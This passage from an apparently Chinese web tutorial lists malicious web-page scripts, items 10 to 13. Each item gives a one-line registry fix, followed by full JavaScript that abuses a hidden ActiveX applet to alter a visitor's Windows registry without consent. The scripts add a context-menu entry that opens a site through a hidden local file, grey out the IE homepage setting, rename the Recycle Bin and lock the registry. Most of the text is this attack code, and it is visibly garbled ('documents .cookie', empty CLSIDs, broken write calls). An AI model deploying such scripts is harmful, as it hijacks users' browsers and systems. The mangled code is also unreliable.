var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>
10、在右键加进网页链接 。修改方法:到注册表找到 MenuExt 把它删除就OK
<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\网页教学网\\", "c:\\yntop.htm");
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\网页教学网\\contexts", 0xf3,"REG_DWORD");
hd=fo.CreateTextFile("c:\\yntop.htm");
hd.write(<html><head></head><\script language=java script>window.open("http://www.webjx.com");<\/script></html>);
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="km169set=km169; expires=" + expdate.toGMTString() + "path=/;"
}
}
catch(e)
{
}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>
11、IE 的 INTERNET 选项的主页条失去作用变灰的代码。修改方法,找到 HomePage 删除就OK。
<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
sh = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
fo = a1.GetObject();
if (documents .cookie.indexOf("km169set") == -1)
{
sh.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", 1,"REG_DWORD");
hd=fo.CreateTextFile();
hd.write();
hd.close();
file=fo.GetFile("c:\\yntop.htm");
file.Attributes=6;
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="webjx set=webjx; expires=" + expdate.toGMTString() + "path=/;"
}
}
catch(e)
{
}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>
12、回收站给改了名字的修改方法:打开注册表找到 修改就 OK
修改回收站的代码
<SCRIPT language=java script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f(){
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookie.indexOf("Chg") == -1)
{
Shl.RegWrite ("HKCU\\Software\\CLASSES\\CLSID\\\\", "回收站");
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\\\", "回收站");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookie="Chg=general; expires=" + expdate.toGMTString() + "path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>
13、注册表给锁住了,锁注册表的代码。
<SCRIPT language=java script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function f()
{
try
{
a1=document.applets[0];